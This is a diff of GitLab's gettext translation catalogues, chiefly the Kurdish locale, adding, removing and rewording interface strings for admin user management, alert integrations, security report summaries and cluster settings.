@@ -32266,9 +32999,6 @@ msgstr "%{slash_command} 소요 ëœ ì‹œê°„ì˜ í•©ê³„ë¥¼ ì—…ë°ì´íŠ¸í•©ë‹ˆë‹¤."
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr "시작ë¨"
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32299,10 +33029,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32311,6 +33041,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32320,6 +33053,9 @@ msgstr "ì´ ë¬¸ì„œ"
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32392,6 +33128,10 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/ku_TR/gitlab.po b/locale/ku_TR/gitlab.po
index 070dacb0394..ac093c7ca3b 100644
--- a/locale/ku_TR/gitlab.po
+++ b/locale/ku_TR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ku\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:48\n"
+"PO-Revision-Date: 2020-12-03 08:17\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
